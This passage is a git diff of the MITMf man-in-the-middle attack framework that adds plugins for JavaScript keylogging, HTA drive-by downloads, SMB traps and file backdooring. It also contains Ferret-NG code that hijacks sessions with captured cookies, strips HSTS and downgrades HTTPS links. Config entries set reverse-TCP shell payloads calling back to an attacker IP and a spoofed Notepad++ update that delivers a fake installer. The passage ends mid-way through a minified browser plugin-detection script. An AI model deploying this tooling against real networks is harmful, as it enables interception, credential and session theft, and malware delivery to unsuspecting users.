core/responder/wpad/WPADPoisoner.py delete mode 100644 core/responder/wpad/__init__.py delete mode 100644 core/servers/http/HTTPServer.py create mode 100644 core/servers/http/HTTPserver.py create mode 100644 plugins/appcachepoison.py create mode 100644 plugins/browserprofiler.py create mode 100644 plugins/ferretng.py create mode 100644 plugins/filepwn.py create mode 100644 plugins/htadriveby.py rename plugins/{Inject.py => inject.py} (62%) create mode 100644 plugins/jskeylogger.py create mode 100644 plugins/replace.py create mode 100644 plugins/responder.py create mode 100644 plugins/screenshotter.py create mode 100644 plugins/smbauth.py create mode 100644 plugins/smbtrap.py create mode 100644 plugins/upsidedownternet.py diff --git a/README.md b/README.md index 3a5fad3..f1a7b8d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,4 @@ -MITMf V0.9.7 -============ +#MITMf V0.9.8 - 'The Dark Side' Framework for Man-In-The-Middle attacks @@ -7,10 +6,9 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -Contact me at: -- Twitter: @byt3bl33d3r -- IRC on Freenode: #MITMf -- Email: byt3bl33d3r@gmail.com +Twitter: @byt3bl33d3r +IRC on Freenode: #MITMf +Email: byt3bl33d3r@gmail.com **Update: Installation steps have changed! Please read the new [instructions](#installation)** diff --git a/config/hta_driveby/Flash.hta b/config/hta_driveby/Flash.hta new file mode 100644 index 0000000..38adcf1 --- /dev/null +++ b/config/hta_driveby/Flash.hta @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index a88004b..1747651 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -25,7 +25,7 @@ # port = 445 - type = normal # Can be set to Normal or Karma + mode = normal # Can be set to Normal or Karma # Set a custom challenge Challenge = 1122334455667788 @@ -57,14 +57,13 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - #This is still experimental, don't uncomment pls! - #[[HTTP]] + [[HTTP]] # # Here you can configure MITMf's internal HTTP server # - #port = 80 + port = 80 #[[[Paths]]] @@ -477,7 +476,7 @@ # PATCH_METHOD overwrites PATCH_TYPE with jump # PATCH_METHOD = automatic PATCH_METHOD = - HOST = 192.168.1.16 + HOST = 192.168.10.11 PORT = 8443 SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None @@ -511,3 +510,10 @@ PORT = 5555 SUPPLIED_SHELLCODE = None MSFPAYLOAD = linux/x64/shell_reverse_tcp + +[EvilGrade] + + [[NotePad++]] + host = 'notepad-plus-plus.org' + url = '/update/getDownloadUrl.php?version=' + data = r'yes%RAND%http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe' \ No newline at end of file diff --git a/core/banners.py b/core/banners.py new file mode 100644 index 0000000..51438c8 --- /dev/null +++ b/core/banners.py @@ -0,0 +1,70 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random + +banner1 = """ + __ __ ___ .--. __ __ ___ +| |/ `.' `. |__| | |/ `.' `. _.._ +| .-. .-. '.--. .| | .-. .-. ' .' .._| +| | | | | || | .' |_ | | | | | | | ' +| | | | | || | .' || | | | | | __| |__ +| | | | | || |'--. .-'| | | | | ||__ __| +| | | | | || | | | | | | | | | | | +|__| |__| |__||__| | | |__| |__| |__| | | + | '.' | | + | / | | + `'-' |_| +""" + +banner2= """ + ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ +▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ +▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ +▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░ +▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░ +░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░ +░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ +░ ░ ▒ ░ ░ ░ ░ ░ ░ + ░ ░ ░ +""" + +banner3 = """ + ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ + ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ + ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ + ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ + ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ +""" + +banner4 = """ +███╗ ███╗██╗████████╗███╗ ███╗███████╗ +████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ +██╔████╔██║██║ ██║ ██╔████╔██║█████╗ +██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝ +██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ +╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ +""" + +def get_banner(): + banners = [banner1, banner2, banner3, banner4] + return random.choice(banners) diff --git a/core/configwatcher.py b/core/configwatcher.py index 2fde1a3..540b337 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -18,24 +18,17 @@ # USA # -import logging - from mitmflib.watchdog.observers import Observer from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj -logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages - -log = logging.getLogger('mitmf') - -class ConfigWatcher(FileSystemEventHandler): +class ConfigWatcher(FileSystemEventHandler, object): @property def config(self): return ConfigObj("./config/mitmf.conf") def on_modified(self, event): - log.debug("[{}] Detected configuration changes, reloading!".format(self.name)) self.on_config_change() def start_config_watch(self): diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index c9eeb36..1ca45d8 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -39,7 +39,8 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ClientRequest", formatter) class ClientRequest(Request): @@ -62,7 +63,7 @@ class ClientRequest(Request): if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding") + log.debug("[ClientRequest] Zapped encoding") if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -74,10 +75,10 @@ class ClientRequest(Request): try: for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: if headers['host'] == entry['host']: - mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + log.info("Hijacking session for host: {}".format(headers['host'])) headers['cookie'] = entry['cookie'] except KeyError: - mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) pass return headers @@ -90,7 +91,7 @@ class ClientRequest(Request): return self.uri def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -107,18 +108,18 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies") + log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url))) + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP") + log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -127,7 +128,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error)) + log.debug("[ClientRequest] Host resolution error: {}".format(error)) try: self.finish() except: @@ -137,13 +138,13 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address)) + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) return defer.succeed(address) else: return reactor.resolve(host) def process(self): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] deferred = self.resolveHost(host) diff --git a/core/ferretng/DnsCache.py b/core/ferretng/DnsCache.py index f0cc638..f839f23 100644 --- a/core/ferretng/DnsCache.py +++ b/core/ferretng/DnsCache.py @@ -16,10 +16,6 @@ # USA # -import logging - -mitmf_logger = logging.getLogger('mitmf') - class DnsCache: ''' diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py index 82dc8d1..d783c10 100644 --- a/core/ferretng/SSLServerConnection.py +++ b/core/ferretng/SSLServerConnection.py @@ -21,7 +21,8 @@ import logging, re, string from ServerConnection import ServerConnection from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_SSLServerConnection", formatter) class SSLServerConnection(ServerConnection): @@ -63,13 +64,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link) - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link) - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink) + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py index e1e04ef..b08e943 100644 --- a/core/ferretng/ServerConnection.py +++ b/core/ferretng/ServerConnection.py @@ -28,7 +28,8 @@ import sys from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnection", formatter) class ServerConnection(HTTPClient): @@ -66,13 +67,13 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': - mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host'])) + log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host'])) self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -82,7 +83,7 @@ class ServerConnection(HTTPClient): self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.") + log.debug("[ServerConnection] HTTP connection made.") self.sendRequest() self.sendHeaders() @@ -90,7 +91,7 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message)) + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): @@ -100,15 +101,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning") + log.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed") + log.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header") + log.debug("[ServerConnection] Zapped a strict-trasport-security header") elif (key.lower() == 'content-length'): self.contentLength = value @@ -126,9 +127,9 @@ class ServerConnection(HTTPClient): if self.length == 0: self.shutdown() - if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": for header, value in self.client.headers.iteritems(): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) def handleResponsePart(self, data): if (self.isImageRequest): @@ -147,12 +148,12 @@ class ServerConnection(HTTPClient): def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...") + log.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = self.replaceSecureLinks(data) - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data))) + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -165,7 +166,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.") + log.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): @@ -174,7 +175,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url) + log.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') diff --git a/core/ferretng/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py index a64c800..bd9c83b 100644 --- a/core/ferretng/ServerConnectionFactory.py +++ b/core/ferretng/ServerConnectionFactory.py @@ -17,9 +17,11 @@ # import logging +from core.logger import logger from twisted.internet.protocol import ClientFactory -mitmf_logger = logging.getLogger('mimtf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) class ServerConnectionFactory(ClientFactory): @@ -34,12 +36,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + log.debug("Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + log.debug("Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py index 85386f9..1773fc2 100644 --- a/core/ferretng/URLMonitor.py +++ b/core/ferretng/URLMonitor.py @@ -18,9 +18,6 @@ import re import os -import logging - -mitmf_logger = logging.getLogger('mimtf') class URLMonitor: diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html new file mode 100644 index 0000000..f35ff4e --- /dev/null +++ b/core/html/htadriveby.html @@ -0,0 +1,71 @@ + \ No newline at end of file diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js index 6f25433..bf85b89 100644 --- a/core/javascript/plugindetect.js +++ b/core/javascript/plugindetect.js @@ -8,6 +8,1227 @@ www.pinlady.net/PluginDetect/license/ var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 